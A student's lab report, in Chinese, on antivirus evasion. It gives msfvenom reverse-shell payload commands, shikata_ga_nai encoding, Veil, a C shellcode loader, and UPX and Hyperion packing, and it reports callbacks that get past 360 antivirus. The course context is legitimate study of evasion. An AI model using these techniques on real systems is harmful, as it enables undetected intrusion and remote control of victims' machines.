2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp3 免杀原理与实践
一、实验任务
- 方法
- 正确使用msf编码器
- msfvenom生成如jar之类的其他文件
- veil
- 加壳工具
- 使用C + shellcode编程
- 使用其他课堂未介绍方法
- 通过组合应用各种技术实现恶意代码免杀
- 如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验准备
- 基础知识
-
Msfvenom使用编码器
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。
- 模板是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
-
Veil-Evasion
- Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,默认是没有安装,需要自己安装(过程坎坷)。
-
加壳
-
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
-
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
-
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
-
从技术上分壳分为:
- 压缩壳
- 加密壳
- 虚拟机
-
- 基础问题回答
- (1)杀软是如何检测出恶意代码的?
答:
基于特征码检测---很多软件都会有各种特征码记成的特征库,恶意软件的一个或几个片断就可作为识别依据。
启发式恶意软件的检测---就是说,如果通常在干一些恶意软件干的事,就是有种相像的感觉,就认可为恶意软件,有种宁杀错不放过的感觉。
基于行为的检测---相当于是启发式的一种
- (2)免杀是做什么?
答:我认为是通过一些手段,包括运算编译加密等等,对容易被杀软检测为恶意软件的软件进行处理,就像化妆让人认不出来一样,让它不会被杀软检测出来杀掉
- (3)免杀的基本方法有哪些?
答:
1.改变特征码
-
加壳:例如压缩壳、加密壳---exe文件
-
有shellcode(像Meterpreter工具)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
-
如果有源码的话,可以用其他语言(例如C、python)进行重写再编译
-
利用veil-evasion
2.改变行为
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
三、实验过程
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1.1正确使用msf编码器
-
由于之前实验二中生成的 20175218_backdoor.exe 后门程序被我删掉了,所以我重新生成了一遍,将其通过 VirusTotal 和 VirSCAN 进行检测
-
VirSCAN的网站上去后,点击可以浏览需要上传的文件,选择好上传的文件之后点击扫描没有反应,而且选中的文件的路径和我的实际路径也不相同,重新尝试了很多次,换了多种文件类型,都无法扫描,最后没能解决这个问题
-
通过对VirusTotal检测结果分析,可知这个简单的后门程序能够被大多数杀软检测出来
-
使用msf编码器对改后门程序进行编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor.exe
- 其中,使用的是 shikata_ga_nai 编码器,“-b”表示去除结束符'\x00',LHOST接kali的IP地址,最后是输出文件,结果如下:
- VirusTotal检测结果:
- 进行多次编码尝试降低检出率,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor2.exe
- 其中,“-i”接迭代次数(我这里输入的是10),结果如下:
- VirusTotal检测结果(不知道为啥比上面那个还要高一点,而且跟最初那个还一样):
1.2msfvenom生成如jar之类的其他文件
1.2.1生成jar文件
- 输入命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor_java.jar
- VirusTotal检测结果:
1.2.2生成php文件
- 输入命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor.php
- VirusTotal检测结果:
1.2.3生成apk文件
- 输入命令:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor.apk
- VirusTotal检测结果:
1.3veil-evasion
-
整个实验最“难弄”的可以说就在这里了,不仅耗时长,还得看运气...总的来说,我用了两种方法
-
第一种,直接使用命令
sudo apt-get install veil
进行安装,选择处,输入Y即可
- 上面那步完成后,输入veil,选择处,输入y即可
- 下载过程还算顺利,而且耗时不长,但是就是卡在克隆那里,尝试了多次,还是克隆失败,最终放弃此方法,并且移除了安装包
- 第二种方法,这是参考学姐的一种安装方法,依次输入一下命令(这个还算顺利,我就在第三条那里遇到了问题,详见实验中遇到的问题):
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 之后使用
sudo apt-get install veil-evasion
命令安装Veil,用veil打开veil,输入y继续安装直至完成,这里需要非常非常长的时间,而且很容易发生卡顿“事故”(我这里遇到了很多问题,详见实验中遇到的问题)
- 在这安装过程中,还给我安装了一大堆东西,包括python等等,反正具体我也没想这么多,来一个就装一个
- 经历一大段安装过程,经历很多次失败,出现了不知道多少次error,最终成功安装好了veil(具体问题详见后面的实验中遇到的问题)
- 在veil界面,输入
use evasion
命令进入 Evil-Evasion
- 然后接着输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
- 接下来,先设置反弹连接IP,命令为:
set LHOST 192.168.11.128
,这里的IP是Kali的IP地址,然后设置端口,命令为:set LPORT 5218
- 再之后输入 generate 生成文件,输入想要 playload 的名字,我这里输入的是:veil_cjy_5218
- 从上图可知文件保存路径为
/var/lib/veil/output/compiled/veil_cjy_5218.exe
,将其进行VirusTotal检测,结果如下:
1.4自己利用shellcode编程等免杀工具或技巧
1.4.1使用C+shellcde编程
- 首先通过命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -f c
生成一段shellcode
-
输入命令
vim 20175218.c
创建.c文件,写入下列代码,并将刚刚生产成的 buf [ ] 写到代码中 -
wq保存退出后,使用命令:
i686-w64-mingw32-g++ 20175218.c -o 20175218.exe
编译这个.c文件为可执行文件
- VirusTotal检测结果:
- 我是通过共享文件夹传到主机中的,在主机运行时,能被联想电脑管家和360检测出来
- 由于便于一致性,之后我都用360进行检测。在360中,对 20175218.exe 文件进行添加信任
- 然后回到 kali 中进行测试反弹连接,测试连接的结果如下:
1.4.2使用加壳工具
使用压缩壳工具UPX
- 输入命令:
upx 20175218.exe -o 20175218_upxed.exe
对上面生成的那个 20175218.exe 加压缩壳得到 20175218_upxed.exe
- VirusTotal检测结果:
- 在主机上运行依然会被360检测到
- 将文件 20175218_upxed.exe 进行添加信任
- 然后回到 kali 中进行测试反弹连接,测试连接的结果如下:
使用加密壳工具Hyperion
-
这里我遇到一个非常大的问题,我发现我没有
/usr/share/windows-binaries/hyperion/
这个目录,具体问题详见后面的实验中遇到的问题 -
将文件 20175218_upxed.exe 拷贝到含 hyperion.exe 目录中,输入命令
wine hyperion.exe -v 20175218_upxed.exe 20175218_upxed_Hyperion.exe
进行加壳:
- 将生成的 20175218_upxed_Hyperion.exe 文件进行VirusTotal检测,结果如下:
- 然后使用360检测,竟然发现经过了加密壳后的程序没有被检测出来
- 进行测试反弹连接:
1.4.3使用其他课程未介绍的方法
-
参考了远控免杀从入门到实践(3)-代码篇-C/C++之后,我尝试了好几种方法,最终决定将最成功的方法实现免杀的过程写下来
-
这个是强制类型转换,文章上写的VT免杀率是9/70,但是最后我亲测的数据要比之大一些
-
首先,用Msfvenom生成c语言的shellcode,为了提高免杀效果,使用了shikata_ga_nai编码器,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.11.128 lport=5218 -f c -o cjy5218_shell.c
-
这里跟上面基本是一样的,但是迭代次数我只设了6次
-
生成的信息在 cjy5218_shell.c 文件中,通过 vim cjy5218_shell.c 打开文件,然后复制其中的 buf[]中的内容
- 在主机打开 CodeBlocks ,创建一个C文件,将下面代码写入:
#include
#include
unsigned char buf[] ="";
void main()
{
((void(WINAPI*)(void))&buf)();
}
- 其中,buf[]后的双引号中填入刚刚复制的 cjy5218_shell.c 文件中的 buf[]中的内容
-
然后进行编译,在 /bin/Debug/ 中找到可执行文件 cjy20175218.exe
-
将其上传进行VirusTotal检测,发现不如文章中所说的VT免杀率是9/70,比之要稍高一些
- 进行测试反弹连接,发现运行后并没有引起360的查杀检测,说明360静态查杀没问题,可正常上线
- 进行360动态查杀,发现也无法查杀出来
任务二:通过组合应用各种技术实现恶意代码免杀
- 我使用的方式为多次编码的 shellcode + 强制类型转换 + 压缩壳
- 实验环境为自己的联想win10电脑,杀软是360
- 其中,多次编码的次数,设定的是12次,exe文件生成是通过 CodeBlocks 生成
- 将其上传进行VirusTotal检测,不知道为啥比我上面那个迭代次数少,而且还未加壳的检测出来数据更大,我的猜想是可能是因为这个壳导致的
- 进行测试反弹连接,还好,发现运行后并没有引起360的查杀检测,说明360静态查杀也是没问题的,可正常上线
- 然后进行360动态查杀,发现也无法查杀出来
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境:我使用的是win7虚拟机,杀软是360,版本为:12(12.0.0.2002),备用木马库为:2020-03-29
- 在主机生成exe文件后,通过邮件发送过去,进行测试反弹连接,发现运行后并没有引起360的查杀检测,说明360静态查杀是没问题的,可正常上线
- 然后进行360动态查杀,发现也无法查杀出来
四、实践思考
开启杀软能绝对防止电脑中恶意代码吗?
答:通过这次实验,我能肯定地回答,不能。不关是在我的电脑上,如果没有经过一些处理,一般倒是能被杀软查杀,但是在经过加壳,包括压缩壳、加密壳后,虽然在在VirusTotal中被检测出来,但是在主机中运行竟然没有被360查杀到(包括静态和动态),仍然可以正常上线。尤其是在经过多方面免杀处理后,即便是在在VirusTotal中检验,数据也非常低了,在大多数杀软面前都能“蒙混过关”,所以开启杀软并不是绝对防止电脑中恶意代码。
五、实验中遇到的问题及解决方法
问题一:下载veil时卡住不动
- 因为卡住的情况太多了,这里只说,输入命令
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
时无法下载,下载时间无线增长(已连接网络,且网络正常)
解决方法:直接 CTRL + C 将其停止,然后重新输入命令,发现即可正常下载
问题二:veil安装克隆时,卡住不动
解决方法:直接 CTRL + C 将其停止,它也会显示退出,然后还会问是否安装veil,这里可以先输入N,就是先退出,然后重新输入veil进行安装,这样在克隆时不会卡住在一个点,如果卡住,可以重复上述过程
问题三:veil安装克隆时,直接报失败
解决方法:与上面相似,直接 CTRL + C 将其停止,它也会显示退出,然后还会问是否安装veil,这里可以先输入y,它会进行重新尝试克隆,如果失败,就反复尝试直到成功
问题四:没有 /usr/share/windows-binaries/hyperion/
这个目录
解决方法:参考链接,下载安装mingw-w64编译Hyperion1.2,最终得到hyperion.exe 完成添加加密壳
六、实验收获与感想
这次实验,总的来说不是很困难,但是做得非常艰辛坎坷,耗时超长。首先这一次实验,涉及到部分实验二内容,可以说是复习了一下实验二内容,包括对后门程序生成,测试连接等等,然后是通过这一次实验,我知道了很多免杀技巧和方法,比如多次编码,加壳,C/C++加载shellcode免杀等等,其中,对于加壳来说,我感觉我的加壳有毒,加壳后检测出的数据反而更高了。然后是利用shellcode编程,专门尝试了多种方法,包括指针执行、申请动态内存加载、嵌入汇编加载、强制类型转换、汇编花指令等,最终把我最成功,免杀最好的写了上来。主要是对这个实验也挺感兴趣的,有一种刺激的感觉,就是想要弄出一种可靠的免杀方法来,如果不是在下载安装veil上太艰难了(下载安装好,耗时一天半,中途经历坎坷不计其数),这个实验,总的来说是非常非常有乐趣的。
七、参考资料
-
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
-
【渗透测试】在Kali中使用mingw-w64编译Hyperion(包括旧的常用的1.x版本和最新的2.2版本)
-
远控免杀从入门到实践(3)-代码篇-C/C++